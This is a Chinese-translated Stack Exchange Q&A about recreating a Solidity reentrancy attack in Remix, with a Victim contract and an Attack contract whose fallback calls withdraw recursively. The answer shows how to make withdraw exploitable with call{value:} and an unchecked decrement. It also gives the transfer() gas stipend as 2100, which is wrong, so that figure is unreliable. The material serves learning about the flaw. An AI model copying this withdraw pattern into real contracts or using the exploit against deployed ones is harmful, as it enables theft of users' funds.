Remix

重新創建重入攻擊但交易失敗/恢復,為什麼?

  • January 24, 2022

我嘗試在 Remix 中創建 2 個合約(Victim.sol 和 Attack.sol),以重新創建重入攻擊,特別是遞歸函式呼叫。

Victim.sol 是要被抽走的合約,我在部署後先將資金存入其中。然後 Attack.sol 是具有備份功能的攻擊合約,該功能應該遞歸地呼叫 Victim 的撤消。

但是當我在 Attack.sol 中呼叫攻擊函式時,它不會導致遞歸呼叫withdraw。

這是 Victim.sol 的程式碼:

/// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Victim {
   mapping(address => uint256) public balances;

   function deposit() public payable {
       balances[msg.sender] += msg.value;
   }
 
   function withdrawAll() public {
       uint256 amount = balances[msg.sender];         
       payable(msg.sender).transfer(amount);
       balances[msg.sender] = 0;
   }

   function withdraw(uint256 amount) public {
       require(amount <= balances[msg.sender], "Trying to withdraw too much!");
       payable(msg.sender).transfer(amount);
       balances[msg.sender] -= amount;
   }

   function contractBalance() public view returns(uint256) {
       return address(this).balance;
   }

}

對於 Attack.sol:

/// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./Victim.sol";

contract Attack {
   
   Victim public victim;

   constructor(address _victim){
       victim = Victim(_victim);
   }

   fallback() external payable {
       if (address(victim).balance >= 1000000000000000000) {
           victim.withdraw(1000000000000000000);
       }
   }

   receive() external payable {

   }

   function attack() external payable {
       victim.deposit{value: 1000000000000000000}();
       victim.withdraw(1000000000000000000);
   }

   function contractBalance() public view returns(uint256) {
       return address(this).balance;
   }

}

這是失敗的兩個原因。

Transfer() 氣體限制

address.transfer()氣體限制為 2100。它足以發出事件,但不足以用於victim.withdraw()備份功能。您可以將其更改為

(bool success,) = payable(msg.sender).call{value:amount}("");

v0.8.0 中的溢出檢查

Solidity v0.8.0 引入了隱式上溢/下溢檢查。因為這,

balances[msg.sender] -= amount;

將失敗,因為當遞歸停止時,餘額將被設置為減少多次,將出現下溢(負餘額)。您可以要求編譯器故意跳過檢查。

unchecked{
   balances[msg.sender] -= amount;
}

通過這兩個更改,您將能夠重新創建可重入。該withdraw函式最終將如下所示

function withdraw(uint256 amount) public {
   require(amount <= balances[msg.sender], "Trying to withdraw too much!");
   (bool a,)=payable(msg.sender).call{value:amount}("");
   unchecked{
       balances[msg.sender] -= amount;
   }
}

引用自:https://ethereum.stackexchange.com/questions/119737